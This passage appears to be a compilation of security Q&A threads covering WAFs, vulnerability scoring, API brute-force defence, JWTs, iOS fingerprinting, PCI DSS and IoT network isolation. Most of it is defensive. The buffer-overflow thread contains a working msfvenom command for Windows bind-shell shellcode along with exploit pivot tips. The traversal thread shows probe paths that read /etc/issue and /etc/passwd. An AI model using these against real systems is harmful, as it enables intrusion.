One way of configuring a WAF is to put it into learning mode, so it can watch typical input fields. If it sees that only numbers are being sent in the "articleId=" field, then it knows it should probably filter out anything that isn't a number.

In other words, a "web application firewall" is a lot more like a "firewall" and a lot less like an "anti-virus" or "intrusion prevention system".


is there evidence that security vulnerability "severity formulas" are more useful than just eyeballing it? There are some formulas for risk-assessing security vulnerabilities, like the DREAD formula (Damage, Reproducibility, Exploitability, Affected users, Discoverability -- rate the vuln in each category on a scale from 1 to 10, then add them all up).  Is there any evidence that these work better than just having a security professional look at the vulnerability as a whole and say, "Yeah, on a scale of 1 to 5, I give that a 3"?

Here's why I'm skeptical: The times that a formula is useful is when I'm doing something that is out of my area of expertise, like buying a used car, because I don't know anything about what cars are worth.  So I would probably end up using a formula that involved the make and model of the car, the number of miles, and any visible damage.

But in assessing security vulnerabilities, the determination of severity is presumably going to be made by someone who has a good intuition of how bad a vulnerability is.  In most cases that I've seen, when two experts independently judged how bad a vulnerability was, they came close to the same answer.  And when they didn't agree, they certainly weren't going to resolve the disagreement by looking at the formula -- the person whose assessment was different from the formula, would just say that this is one of those times that the formula doesn't work.  So I don't know what is the point of the formula.  Formulas are useful when non-experts need to make a decision, but the people making decisions about security vulnerabilities shouldn't be non-experts!

So is there any evidence that the formulas have been useful, compared to the intuitive approach?  Pretty open-ended about what counts as "evidence", but I'm thinking for example if a company tried the intuitive approach once, and tried the formula approach once, and found that one worked better than the other.

CVSS scores are meant as a guideline not as the gospel.

Proper risk assessment for your environment should always be determined by a review of what is considered critical infrastructure, what is more AT RISK of being exploited, etc.

If i have a device that cannot be updated due to required vendor software for business functionality, it has 10 critical vulnerabilities with a rating of 10 each.

But that device is only plugged in once a month for 30 minutes at non-regular intervals. I would say that device is a low to medium risk for my network.

Now if I have a device that is in the DMZ and has multiple vulnerabilities that are easily exploitable but aren't considered a "Critical" threat rating. I would evaluate that as being higher risk because it is exposed to the public

Edit:

Good additional resources to check out from Rapid7 (creators of metasploit):
changing criticality of an asset,
Adjusting risk with criticality,
Risk scoring FAQ


Preventing a Brute Force Attack on API via limiter I have an API that users can log into. I don't want it to be hacked. What if I limit each user to 60 requests a minute? Won't this significantly slow hackers down in a brute force situation?

Configure Fail2Ban or its equivalent first to quickly reduce the attacks.

Then look at a tool like mod_security to tighten what's allowed to access your API. If you have time create a strict whitelist of what's allowed and block everything else. Configure Fail2Ban to watch your mod_security logs. Getting the basics in here first will help block attacks but you'll also need to do long-term tuning on this system especially as your API evolves.

Watch your logs for common attacks against paths that don't exist in your API then add them to mod_security as things to trigger bans in Fail2Ban.

Ideally, you can do all of the above on a dedicated proxy server running in front of the system running your API but these can also be implemented on the API
system itself.

If there is any way to whitelist the IP's of the users accessing it or require them to use a VPN this would radically reduce the attack surface available to the attackers.

Once you have more time, start measuring the performance of each query against your API if you have one that takes substantially longer to respond (search queries) this may become a target for DoS attacks so you may want to build more defensive rules around this.

Also, it's very important to constantly be hardening your API and the system(s) it's running on. You really want to do vulnerability scanning, use penetration testing tools, AND static code analysis of your code on a regular basis.

Something to also think about, if you have any sensitive data on the database behind this API that will never be requested through the API, something like credit cards might be a good example. It might be wise to export the non-sensitive data subset from the main database and host it on a dedicated server to be used just for the API and block access from this system back into the rest of your network (Think one-way firewall rule). In many cases, this can be a very powerful way to prevent data loss by removing the external attack surface completely from the system with sensitive data. Not every implementation of an API can do this but when it works it can really help.

In regards to the 60 requests per minute per user, there is nothing to stop an attacker from using thousands of fake user accounts in their attack so that won't stop serious attackers but it will throttle abusive users which may be something you also want to do. Likewise, there are MANY different types of brute force attacks. If an attacker aims a terabit of botnet traffic towards your API it really won't matter how you have things configured. Tools like Cloudflare will help in that scenario but again there is a limit to what can be done.

Make sure you also read the OWASP REST Security Cheat Sheet


In Buffer overflow exploitation what if JMP ESP address contains bad characters? I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP which has address starting from 56566577. I got JUMP ESP, suppose in 5757578E, this doesn't work. Becuase the 0x8E outside the scope of ASCII 0x00 to 0x7F. Consider no other register has the shellcode.
How can I deal with certain situations?

To create ASCII shellcode I use below:

msfvenom -p windows/shell_bind_tcp -a x86 -f perl --platform windows LHOST=192.168.1.1 LPORT=8181 -b "\x00" EXITFUNC=seh -e x86/alpha_upper

But this also has character above 0x7F. How can I generate shellcode within 0x00 - 0x7F.

Find a different pivot, such as call esp or pop eax; call eax; maybe a blind ret will work. There are several other alternatives to jmp esp, you just have to find one that works for you.

If you control a value in any of the other registers you can usually find a gagdet that will call the registry at an offset f.ex: call [eax+0x16]; and adjust the value in said register to point to jmp esp with the offset applied.


Rest API Authentication with JWT This is my first time working with JWTs so I decided to ask here on Information Security as I'm very unsure about my approach towards JWT Authentication. I'm currently working on an API that will serve both mobile application and web page (React and React Native) and the authentication is currently being done with a JWT where both Access and Refresh tokens when the login is successful.

I currently have no mechanism to blacklist/revoke tokens but I'll work on it since the tokens carry roles on it's payload and tokens should be revoked when the user has it's roles changed.

The frontend developer said that he's going to store the tokens on cookies by using react-cookie to use on each request and refresh the token when it expires. Is that the correct approach and will the cookie be encrypted when stored? What security measures should I be concerned about with this approach? Thank you beforehand.

Ultimately, the user has the ability to trigger actions on your API, via some chain of authentication. The difference between storing the JWT in a cookie, and storing it on a separate server, is the number of steps in that chain: does the user's browser authenticate directly to your system, or does it authenticate to an intermediary, who then authenticates to you?

Encryption is largely irrelevant here: the user does not need to know what the token means, they only need to be able to send requests including it. If the browser can do so, anyone with access to that browser can also do so. If you want information in the JWT to be confidential, you can use an encrypted rather than signed JWT.

Moving the JWT from the user's browser does not automatically add any security, but it allows the intermediary to perform additional checks; for instance:

If the permissions granted to a particular JWT are quite broad, the intermediary can narrow those down by only passing on some requests.
An intermediary which is closely coupled to the UI can more easily implement defense against CSRF, ensuring that requests are only passed to your API if they originated from a valid application flow.
The intermediary can implement its own invalidation flow - if the user has a stateful session in some key-value store, that store can be cleared to log them out, and the user has no way of retrieving the JWT.

It is possible for all of these checks to be implemented in the primary API, so this partly comes down to "purity": you can make certain assumptions in your API design if it will always be accessed via a trusted server which you cannot make if it is accessed directly by untrusted clients.


What unique fingerprinting information can an iOS 10 app collect? As a follow-on to these questions:

What unique fingerprinting information can an iOS7 app collect?

What unique device fingerprinting information can an iOS8 app collect?

What unique device fingerprinting information can an iOS9 app collect?

iOS 10 improvements:

Identifier for Advertising is now all zeroes if "Limit Ad Tracking" is enabled, presumably making it unnecessary to "Reset Advertising Identifier".
While Apple discourages device fingerprinting and data over-collection in general, and mentioned at WWDC that some APIs and properties that could be used for fingerprinting were deprecated, there were no specifics given in the talk.

Open Issues:

As always there is basic system info available similar to what any web page can access: IP address, HTTP headers, etc. Many of these are low entropy or can be changed by the user through various means, but it may be possible to combine enough for a reasonable identification. Or for reasonable enough correlation for cross-device tracking.
There is still no official confirmation that "integrated" apps (like Facebook or Twitter) are subject to the same limitations as other iOS apps, or whether they have privileged APIs.
There are apps in the app store that show system information like uptime, battery level, disk size and usage, memory size and usage, network usage, LAN IP address, etc. These have become more restricted over the past two major versions, but is there any review or other mechanism to keep access to these system elements out of typical app or app 3rd-party code?
Can someone confirm whether WiFi AP (B)SSID is still accessible?
HSTS fingerprinting
Accelerometer and gyroscope data
Use of persistent data stores by apps, or by apps across an app group, that survive app (or app group) deletion. Or persistent data stores that survive device erase and restore.
Other open issues?

In general, what remaining device fingerprinting privacy / security vulnerabilities still exist as of iOS 10, particularly those that have no user controls or actions that can thwart them?

As always there is basic system info available similar to what any web page can access: IP address, HTTP headers, etc. Many of these are low entropy or can be changed by the user through various means, but it may be possible to combine enough for a reasonable identification. Or for reasonable enough correlation for cross-device tracking.

You have answered your own question.

You can be fingerprinted merely through access via a web browser. Given an install on an ios device has in-practice all the capability of a web browser, and more on-top. Look at canvas detection etc.
https://browserleaks.com/ is a good example of some basic methods.

Advanced techniques just gather a crapload of data and feed it into AI, the big players, like in most aspects now, don't bother looking into factors too much in-depth, they just hire some maths wizards & let them train AI to do the rest.

If I can run Javascript & HTML, as in a browser, it is possible to fingerprint you to near 100% accuracy - your only mitigation would be pointless as it would take so much effort the cost of doing so would outweigh any benefits - In most cases, those whom attempt to avoid fingerprinting only make themselves more unique/distinguishable.

  In general, what remaining device fingerprinting privacy/security vulnerabilities still exist as of iOS 10, particularly those that have no user controls or actions that can thwart them?

*All those that exist in any web browser. I agree with you that the app/web design should be much more permission-oriented & opt-in. I.e, assign each app as specific permissions as I want to. However, you can never prevent fingerprinting. Fingerprinting is merely a correlation.
Let me summarise the headache for you:
You do everything to mitigate web tracking techniques.
However, the NSA/GCHQ has intercepts all global traffic. They can identify requests chained via proxy or VPN and can correlate them to fingerprint you merely by your connection latency.

Hence: you decide to increase or randomize connection latency.
With a small tweak, GCHQ/NSA/whoever else can now identify you (via global taps) by identifying unusual/unique latencies on requests and receive connections (enabled via global taps on all comms).

I realize the example I give is complex and not to do with ios. But you ask an extremely broad question, and to give you an answer:
You can be tracked, no matter what measures you take. Including on IOS 10. As discussed already, given I have basic web page capabilities I am already capable, let alone the other features all IOS versions offer.

Just to keep you busy, here's another one:
You block your location, cool.
The app requires an internet connection to work (you want to use it as you have installed the app, so you obviously have no other choice than to permit wifi/internet connection).
Gotcha, I now have your location via your wifi/network information thank's to Google's mapping data.

Have fun...


Impacts if I assemble many documents in one signature? I am familiar with PKI and signing one document (for instance XML content) using PKCS7 or XAdES and we provide this functionality to our customer. Works fine.  I now wonder how to facilitate the signing of a set of documents, that is signing the whole folder (set of documents) with one signature. The set can be viewed as a main document and some attachments.

My idea is to build an XML file including references to each document. The reference could be the hash of the document (value and algorithm).
The customer will sign this XML file (like before with our RSA PKI).

Questions are:

What do I break in my new mechanism where I add this level of indirection (we sign in fact something like a manifest and not the data)
What is the legal value of this? Maybe we lost the integrity of the signature, and we break the non repudiation.
Shall we validate (certify) our process (XML generation and keep the links of references) to a third party to guarantee the non repudiation?
How can I exploit the signature? I think I can't show to the customer that he/she has signed only one attachment. I always need to show the whole folder.
Shall I be aware of some points I forgot here? What do you think of my new mechanism?

Do you want the ability to prove (in court) that Signer A really did sign the collection of documents at some point in time, and that the current version of the documents is the exact same as what were signed?

It sounds like it. Eg you talk about non-reputability.

But if the above is the case, then you need to be very careful about how the signature validation would work in practice. If your software is the only software available to verify the signature against the documents, then you are not in a good place since the opposing party can claim that your software is faulty.

The above is why it is a good idea to ensure that your signed documents can be verified by a neutral third party's sw (eg Adobe Reader for PDFs), MS Word for signed Word files, etc.

A signed XML file that includes multiple documents as sub elements sounds like a poor plan to me if you want to prove the signature(s) in court.

The "easy" issue is to ensure that the current documents can be exactly re-assembled for verification as someone commented.

The hard issue is show the verification process in a very easy and understandable way to a completely non-technical person in court.

If you're just signing the XML as an internal control/audit mechanism, then your idea is fine. But if any of the signers are potentially hostile adversaries (or if someone might try to forge their signatures), then I suggest using very straight forward signing techniques whose signatures can be easily verified with PDF Reader or similar.

If what you want is signed data structures (eg an XML file), you should either verify with commercial off the shelf software, or make a PDF copy of the data and get both the XML and PDF files signed.


Are there any extra security risks with leaving wireless enabled while ethernet is connected? Mainly I'm wondering if operating systems will always use ethernet for internet connections if it is available, falling back to wireless when it is not.

My thinking is based around the security threat of someone snooping on a wireless connection, and would prefer for that vulnerability to not be a concern.  Yet, don't want to go through (minor) hassle of disabling wireless.

I'm most concerned with OS X (Mountain Lion), but am curious about other OS' behavior like Ubuntu (10/11/12), other linux distros, Windows (XP/7/8)

Aside from snooping, are there other vulnerabilities with leaving wireless enabled (even if the answer to my above is that wireless is not used while ethernet is on)

Most OS prefer using ethernet if available, because it is normally faster and more reliable than WiFi. I would not rely on it, though.

For snooping, my basic stance is to consider that any network is potentially vulnerable to hostile intrusion, so if some sensitive data must leave my machine, then SSL or SSH must be used. Regardless of the presence of a cable sprouting out of the back of the computer.

Apart from snooping, a potential and amusing vulnerability induced by a machine which does both ethernet and WiFi would be if the machine acted as a router, thus granting access to the ethernet local network to an attacker who succeeded in subverting the WiFi part. Desktop operating systems do not normally act as routers (in Linux, routing must be activated explicitly, and desktop distributions do not do it by default), but I would not be overly surprised if routing abilities were activated as part of the installation of some software packages (especially virtual machine managers, and VPN software).


How do hackers take advantage of apps that are known to be leaking personal information? I'm wondering how apps that leak personally identifiable information can be taken advantage of by hackers? How would they have the infrastructure to capture all that information that come from thousands of users?
I'm asking because when analyzing applications, the hacker/analyzer will be the one setting up the network (think MITM attacks) and in control, how does that apply to large scale operations if you are a not government institution or the ISP?
I'm guessing that the ISP or a government institution will able to take advantage (please correct me if I'm wrong).

That depends a lot on the nature of the leak.
First of all, "leaking" private information can sometimes be a misnomer. "Leaking" implies that it is happening on accident, though many applications actually harvest personal information by design.
Let's take an imaginary game on Android an iOS as an example. When you first start the game, it asks you to give it all permissions, and I guarantee you, a bunch of people will just click "allow". The application then regularly creates a HTTPS connection to the developer's server and uploads whatever private information it can get its hands on - contact info, clipboard content, private files, etc...
As a hacker, you could hope that the application is written badly and doesn't stop when a certificate error is encountered. In that case, a Man-in-the-Middle attack can be used to intercept and copy that data. Is this something that's feasible to do on a large scale? Probably not. It's not an attack that can be done passively either, so any ISP or government involvement (as you mentioned above) should better be worth it.
Some applications however do indeed "leak" private data. They could use plain HTTP with no encryption, or "custom military-grade impenetrable encryption algorithms" (better known as "Dave's protocol"), which then allow attackers to sniff data with relative ease.
Other applications contain flaws within the application itself, which allow attackers to gather personal information, such as   SQL Injection attacks or Oracle attacks. In this case, gathering the data is just a matter of time.
The exact setup will depend on the kind of leak. Sometimes setting up an attack simply isn't feasible, as the cost would exceed the expected gain. Sometimes an attacker may only be interested in one specific, high-value target (think politicians, celebrities, etc.), in which case they could go considerable lengths to exploit this vulnerability. Sometimes all they need to do is download data and store it for sale or later use.


Stack canaries protection and ROP As far as I know stack canaries are values written on the stack that, if overwritten by a buffer overflow, force the application to close at return.

My question is: if I overwrite both EIP and stack because I want to ROP something... and I NEVER return.. do stack canaries create a problem too?

A stack canary is still a problem, because you cannot control the EIP in a stack based buffer overflow without overwriting the return address (which is above the carny). Further more the function that contained the stack based buffer overflow must return before the corrupted return address becomes the new EIP.

This is not a problem for dangling pointers.

You need to spend more time with your debugger!  There is no excuse for this.  If you had stepped though exploitation process you would know this!


Intercepted encrypted traffic If your internet connection is encrypted, will snoopers still be able to tell when you are active; for example, clicking a link as opposed to merely reading a webpage. Will a snopper be able to see the flow of packets(stop and start) or will everything just be a blur and they won't be able to tell anything about how you are browsing.

will everything just be a blur

No. SSL/TLS does not make use of "cover traffic". With cover traffic, the line is kept constantly busy in both directions. Regardless of whether any actual payload is actually being transferred.

With SSL/TLS when nothing happens, the line is idle.

This allows for some meta-data analysis. The flows to/from and their rough size will be visible to eavesdroppers.


Two factor authentication for web application under PCI DSS PCI DSS 8.3 is stated as follows

  8.3 Incorporate two-factor authentication for remote network access originating from outside the network by personnel (including users and
  administrators) and all third parties, (including vendor access for
  support or maintenance).
  Two-factor authentication requires that two of the three
  authentication methods (see Requirement 8.2 for descriptions of
  authentication methods) be used for authentication. Using one factor
  twice (for example, using two separate passwords) is not considered
  two-factor authentication. Examples of two-factor technologies include
  remote authentication and dial-in service (RADIUS) with tokens;
  terminal access controller access control system (TACACS) with tokens;
  and other technologies that facilitate two-factor authentication.

8.2 lists example authentication methods:

  Something you know, such as a password or passphrase
  Something you  have, such as a token device or smart card
  Something you are, such as a biometric.

We are a service provider and if we have a web-application that non-consumer users will use to manage their account, will this need to be protected by 2FA? The testing procedure specifies that this is to protect the Cardholder Data Environment (emphasis mine):

  8.2 To verify that users are authenticated using unique ID and additional authentication
  (for example, a password/phrase) for access to the cardholder data
  environment, perform the following:

  Examine documentation describing the authentication method(s) used.
  For each type of authentication method used and for each type of system component, observe an authentication to verify authentication is functioning consistent with documented authentication method(s).

As the web application does not provide access to the CDE (nor is situated in the CDE), do we need to protect this with 2FA under PCI DSS?

For security it would be a good idea to do this, however are we required to?

If so I guess the easiest option would be to issue client certificates.

What does the web application do?  Ask the following questions:

Does it "store, process, or transmit cardholder data"?
Is it on the same network as a server that does?
Can it connect to database(s) which store cardholder data for other applications?
If compromised, would it "impact the security of the CDE"?

If so, it's in your CDE "in scope" for your DSS assessment and is subject to 8.2.  If not, then not.

You're supposed to determine what's in and out of scope every year:

  the assessed entity should confirm the accuracy of their PCI DSS scope
  by identifying all locations and flows of cardholder data and ensuring
  they are included in the PCI DSS scope.

and

  The entity retains documentation that shows how PCI DSS scope was
  determined. The documentation is retained for assessor review and/or
  for reference during the next annual PCI DSS scope confirmation
  activity.

So, measure your web application server against the discussion on pages 10 and 11 of the PCI DSS 3.0.  If you don't think it's in scope, you aren't required to have 2FA under DSS 3.0 8.2.  Keep a record of you scope-determination for the audit, should you happen to qualify for one.

As to the implementation, I have seen other methods used for 2FA than those you mention; IP whitelisting and adaptive authentication specifically.  If you can convince your auditor it qualifies, you're all set.


GMail Hack with 2-Factor Auth enabled I have my business email on GMail.  I use 2-factor authentication for access to said business email.  I access my business email from 2 computers and 1 mobile Android device.  I do not use Outlook or any email client I access it solely through the web browser.  I run Webroot AV on both computers and have run MalwareBytes, Hitman Pro and Sophos Virus Removal tool with 0 hits on all.

Yesterday, spoofed emails of my business email account originating from all over the world were sent out to my customers with an attached, password protected file that was a virus.  In itself this is not unusual, however, each of the emails was a actual reply from a valid email I had received previously.  I immediately looked at my google account settings and verified 2-factor auth, I looked at the devices that were using my email and could verify each one.  I could find no proof that someone had gained access to my email other than myself.

Does anyone have any suggestions on where I should look for this breach?  I am at a loss and dreading a second round of emails going out.

It seems that someone remotely logged into one of your 2FA-authenticated devices and accessed your received email while your token was still valid.

Either way, it's unfortunate you have to deal with it.

Maybe implement a protocol of always logging out of the browser at least on the PC's and use a password generator to copy/paste your new password just in case there is a keylogger.


How to remove yellow tracking dots from a document? Assume I have a document which I supspect to have yellow tracking dots. How can I remove them while keeping the actual information on the document? Is making a b&w copy enough? Is the copy machine adding its own tracking?

Would JPEG compression of the scanned document be sufficient to remove the dots? But would the scanner sensor leave its finger print in the scan?

OCR might be an option but only for text.
Bonus: How about removing image watermarks while keeping the foto motive?

There is a paper regarding yellow dots and also tools for their removal or retrieval.

DEDA Tools

Paper


What's stopping attackers from using our API keys to spam our logging services? We're logging user events using Javascript and a third-party logging service. The API key is hardcoded in JS. The logging service restricts the API key to our domain. I'm assuming it looks at the referrer to know the domain that's making the request.

However, attackers can easily write a script to call the logging service. The script would use our domain as the referrer and use our API key. Our competitors can spam our logs to make analysis impossible and waste our time responding to alerts.

Is it possible to protect against this? Even if we use our server as a proxy to call the third-part API, attackers can just call our proxy.

The answer is no. If you are giving the API key out publicly and the API key is the only secret required to log, then an attacker can easily obtain the API key and create log events.

You may be able to throttle based on IP address or use other attack detection to prevent abuse, but it depends on the control you have over the logging service and what it supports.

If you were to serve a unique API key to each client, you could then set up logic per-key saying things like: "This key may only be used for 100 log events before it expires and it is throttled to X events/sec." Of course, an attacker can still start requesting many new keys, so you'd have to detect if this is happening and try to limit by source IP again. Similar problem to before.


What level of vulnerability has this WPA2 system? I designed a WiFi host whose password contains a truncated SHA256 hash of a password + the time it was set.

  For example, “password2019-12-25-12:59” hashed to “acd2775f” which is
  truncated to 8 digits (by the way, not the real hash).

The password changes every X minutes based on the time it was modified. So the hash changes (a lot, obviously).

The fact that it actually changes every 3 minutes, makes me feel pretty safe, because even if an attacker knew the algorithm (pass+date) they wouldn’t know the password which has no length limit.

So the attacker would have 2 options:

He can try cracking directly the N digit passphrase in that small period of time.
(assuming he knows the algorithm) He can make a list of all possible hashes for a certain time when he captured a random handshake and bruteforce it. In the end, he would get the secret password of my formula and authenticate.

The second method concerns me the most because the secret password usually doesn’t change. The attacker should guess N (the number of digits) to get to the WPA2 passphrase by hashing strings and trying.

Assuming that the impact of a breach to this system may cause very severe damages:

How critical is this vulnerability? Is it enough to make this system directly obsolete?

Apart from changing the ‘secret password’ frequently to increase the security, are there any other ideas I should know?

COMMENT: I understand that this system is a little confusing, so feel free to ask my any questions or whatever you want to contribute.

I think you need to realise that you have 3 secrets here, from your perspective:

the password
the algorithm, and
the hash length

You assume that the password can remain intact, the algorithm can be exposed as an acceptable risk, but you are afraid that the exposure of the last one might defeat your security and the other two secrets. This is a rookie security design error.

Your system needs to be designed so that it is still secure even if the attacker knows how the system runs. This is known as Kerckhoff's Principle. In your case, even if the attacker knows the algorithm and the hash length (which, by the way, is basically part of your algorithm, but you speak of them separately).

From a security design perspective, your security comes down to just the password. You just made it supremely difficult for the legitimate users to use the system without adding any additional security.

If your intent is simply to protect the password because it does not change often, then you need to shift your perspective and your risk analysis. Your proposed system obfuscates the password by using a salt+hash design pattern. The intent of the salt+hash approach is to increase the time it takes an attacker to crack the hash (even if they know the hash method and the salt, see Kerckhoff's). So, the primary goal here is time. Using this design pattern, the only secret is the password, and the result is a longer time to crack the password. You defeat this approach by shortening the resulting hash, because that dramatically reduces the time it takes to crack (like, from centuries to seconds).

So, to answer your question: it's the length itself that is your vulnerability, and attackers would not have to figure out your algorithm, they can just bruteforce 8 characters blind. They will be able to figure out how often it changes, and simply design a method to crack the hash in that time.

There are so many other approaches to this problem that you should investigate.


Shmishing scam that targets Gmail access I'm looking for information on scams that target GMail users. I believe I found an article that discusses the attack in the context of bank fraud at Warning over text message scam that allowed 'smishing' fraudsters to steal £70,000 from pregnant woman's bank account.

The attack I have seen appears to be very similar. A phone number is spoofed and a text message arrives that appears authentic. The message even shows on a thread of the real person. But instead of stealing money, access to a GMail account is gained.

The user has an Android phone and it is fully patched. It is still under contract so I don't believe it has been abandonware'd. She also has Gmail on with two factor authentication enabled. She was [presumably] logged in, and I believe Gmail uses auth tokens/cookies that never expire.

Later, a relative of the woman received an email message trying to entice the new victim. The thing that struck me was, the attack originated in SMS then switched to email for the new victim.

This is where I need information. How does clicking on a link in a text message yield access to a GMail account? Is this simply stealing an authentication cookie through XSS and policy violations? Or is this just an instance of a confused deputy, where the email program sent an email message on behalf of the sms program? Or is there something else going on like an active vulnerability?

There's not really an answer to this question, because all we can do is speculate, but I'd hazard a guess that the link they clicked on coerced them into accepting an application to have access to their Google account with full privileges. You can go to https://myaccount.google.com/security and look at the section called "Apps with account access" to check for this.

The other option is that the link presented her with a fake login page and she provided credentials - plain old phishing.


Directory Traversal: What effect does this '?' and '.' have on the url? I asked a question on this very site - Unable to understand why the web app is vulnerable to a Directory traversal attack , where i was given a report stating my web-app was vulnerable.
I posted few samples from the report, like Testing Path: http://127.0.0.1:80/??/etc/issue <- VULNERABLE!, now i was asked what those two /?? are in the posted url.

I ran few tests:
 http://127.0.0.1:80/??/etc/issue  returns  Home page.
http://127.0.0.1:80/.?/etc/issue  returns  Home page.
http://127.0.0.1:80/?./etc/issue  returns  Home page.

So, the pattern below returns home page:
 http://127.0.0.1:80/Position1Position2Anything/Anythingcouldbehere , where
 If Position1 = ? ,  home page is returned irrespective of the contents at Position2.

If Position1 = . then Position2 must be ?, for the home page.
Anything could be an empty string too.

Now, anything which doesn't match the pattern above returns 400/404.
And, i ran the above test for security.stackexchange.com/ and it too returned the same result (followed the same pattern of . and ? ) and returned its Home page on the browser.

Please explain the role of ?  and . in the urls.

EDIT:
It's only this pattern(the one above, with ? and .) which makes the web-app Vulnerable to Directory Traversal attack as per the report sent by pen-testers.

In HTTP URL's everything after the symbol  ? is a part of GET request data.

So In http://127.0.0.1:80/??/etc/issue and http://127.0.0.1:80/.?/etc/issue  the part ?/etc/issue is essentially a data in GET request to URL http://127.0.0.1:80/.

Note here that ?/etc/issue is not a valid file path.

In http://127.0.0.1:80/?./etc/issue the part ./etc/issue is essentially the data in GET request to URL http://127.0.0.1:80/.

Note Here that ./etc/issue  is a valid path. (may be ./etc/passwd is better)

In last case,since the scanner got a  (HTTP/1.1 200) it assumed that it has read the file on server and marked it as vulnerable.

The scanner is expecting something like a HTTP/1.1 404 (Not Found) or HTTP/1.1 302 ( URL redirection) for that page to be not vulnerable.


If PCI DSS isn't a law, how can I be prosecuted for not being compliant? PCI DSS isn't a law. Why can I be prosecuted for not being compliant?

First, IANAL. Secondly, this is entirely dependant on your local laws and regulations.

PCI-DSS is a guideline, but adherence to the guideline may be a requirement as part of certain laws. I'm not aware of any countries that do this, but in such a case you could be prosecuted if you violate a law that makes PCI-DSS adherence mandatory.

The more common case is not prosecution, but rather a civil suit. PCI-DSS is commonly a requirement as part of a contract between a merchant and a payment provider or bank, as part of their payment processing services contract. Violation of PCI-DSS results in a breach of contract, which allows them to sue you. Penalties and other terms are usually stated in such contracts.


What process on my jail broken iPhone is listening on port 80 I can access it via telnet from the internet once I get the IP of my phone
Probably an HTTP server

telnet  XXXX 80
Trying XXXX...
Connected to XXXX.
Escape character is '^]'.
HELP
<TITLE>Invalid HTTP Request</TITLE>

Invalid HTTP Request

Description: Bad request syntax

Connection closed by foreign host.

It's a jailbroken device

Is there a way to find out which process is listening on this port?

I think you'll want to run "netstat" on your jail-broken device

http://www.iphonefaq.org/archives/971616

Related:
https://apple.stackexchange.com/questions/12238/how-to-display-alter-a-jailbroken-ios-devices-route-table

This looks interesting... No idea if it works:
https://itunes.apple.com/us/app/netstat/id400071873?mt=8


How will popular WiFi clients react to an evil twin If I create an evil twin hotspot next to a legitimate AP and simply clone the SSID, I know that my WiFi client will see these as 2 different APs and both will show up in a list of available networks (both with the same SSID). This can happen because the BSSIDs are different.

But what If I also clone the BSSID on the evil twin? I know that ultimately I'm going to connect to the stronger signal. But is a WiFi client able to tell that there are two networks, or will one just be drowned out? If I look at a list of networks on iOS or Android will I see 2 networks with the same name or only one?

In large wireless network setups, numerous access points will broadcast the same SSID and will appear as only one SSID on the client device. For example, some large lecture halls at my university have over 15 access points in them which are broadcasting the same SSID. Even though the BSSID of each device differs, the client still groups by SSID.


Generating OpenPGP key pair with restrictions I intend to generate an OpenPGP RSA key pair where a part (~half) of the private key is as I specify, i.e. a specific string. Are there tools for generating a key pair with such restrictions, or will I have to investigate the protocol?

Despite some cryptographical limitations, such a strategy could be used to hide keys in plain sight.

You have to define with some precision what you mean by "RSA private key".

In RSA, there is a modulus, i.e. a big integer n which is equal to the product of two equal-sized prime integers called p and q. Also, there is a public exponent e (usually small, traditionally equal to 65537 in the context of PGP) and a corresponding private exponent d. The size of d is roughly the same than the size of n; d is such that e*d = 1 when taken modulo either p-1 or q-1.

The public key consists in n and e. The public key operation involves elevating an integer to the power e modulo n. The private key is anything which allows the computation of the inverse operation (finding the e-th root modulo n). The following sets of information all allow extracting e-th roots, and thus all of them can be deemed "the private key":

n and d
p, q and d
p, q, d mod p-1, d mod q-1
p, q and e

So you have to decide what you define as "RSA private key" and what "half" you are talking about.

Let's see what OpenPGP defines. In section 5.5.3, we see that there is a standard storage format for RSA private keys, within the context of OpenPGP. That format stores the public key (n and e), and also d, p, q and a value called u, which is the inverse of p modulo q (this value helps in implementing RSA efficiently; it could be recomputed on the spot, but storing it yields faster operations). Actually p, q and e are all that can be set, since the other values can be deterministically computed from those three. And e is traditionally set, and should anyway remain small (for efficiency and interoperability). So you have p and q to "hide" your preset value.

RSA key generation roughly work like this:

Generate a random integer p of the right size (half the target modulus size).
Test if p is prime. If not, try again until you get a prime.
Generate q the same way. Make sure that q is in the right range so that n = pq has the intended target size. Also, OpenPGP mandates that q is greater than p (if you get a smaller q, you can always swap them).

So you could theoretically alter the process like this:

Split the value V that you want to hide into two halves, V1 and V2. Let's assume that V1 and V2 have length k (in bits).
Generate potential random p values which "include" V1, i.e. p = 1 + 2*V1 + r*2k+1 for random integer values r of the "right size" so that p length is, say, 512 bits (if you target a 1024-bit modulus). Try again until you hit a prime p.
Do the same for q, embedding V2.

This process will work as long as you can have r values of size at least a dozen bits. Otherwise, there could be no prime at all with the desired format. The "*2" and the "+1" are there to force p to be odd: a big prime cannot be even.

I do not know of any software which implements that, but it should not be difficult to slap together with a big-integer library. I suggest using Java, which has appropriate java.math.BigInteger, and then Bouncy Castle for the encoding-into-OpenPGP-format part.

Beware that an attacker knowing that you play such tricks may try to attack your key by exploiting whatever structure your hidden value has. Also, implementing your own crypto is extremely rarely a good idea. And I said nothing about whether your idea of "hiding a key in plain sight" made sense; I only show how it could be done.


How to design a home network for IoT devices? I'm trying to work out how best to design a home network which contains (potentially hostile) devices.  I'm running into my limits of networking knowledge!

I have two challenges.

Unsecure Devices

On my home network I have a Lifx WiFi lightbulb.  Lifx doesn't provide any security (no passwords) so any other device on the LAN can control it.

I'm happy for my phone and laptop to connect to the bulb - but I don't want my TV to have access to it.  Or vice-versa.

Hostile Devices

In a similar vein, I have a Nest Protect WiFi Smoke Alarm.  It is (theoretically) possible for a Nest employee to tunnel in to the device and gain full access to my network.

Is it possible to create a network which allows a device to connect to the Internet, but nothing on the LAN?

Design

So, what sort of steps can I take on a domestic Internet router to isolate devices which I don't necessarily want to give full access to my LAN?

My thoughts are...

Disconnect the devices. That said, I really like being able to control my TV from my phone!
Create a different subnet for each device. My router allows me to create a main network and a guest network.  I could put all my semi-trusted devices on a secondary network - but I'd lose the ability to control them while connected to the main network. Additionally, they'd still have the ability to interfere with each other.
DMZ? I'm unsure about this - would it isolate the IoT devices from the main LAN while still giving them Internet access?  I understand that the devices would be totally exposed to the net - giving anyone the ability to control the password-less devices, is that right?
Something else...?

I have the feeling that what I want to do is impossible. Should I just accept that devices on my network can access each other and attempt to secure what I can?

First you need to break the devices into classes of connectivity:

Need just a constant "cloud" connection to work properly
Need no connection except for initial config/updates, need local connection
Need both a cloud connection and a local connection to work

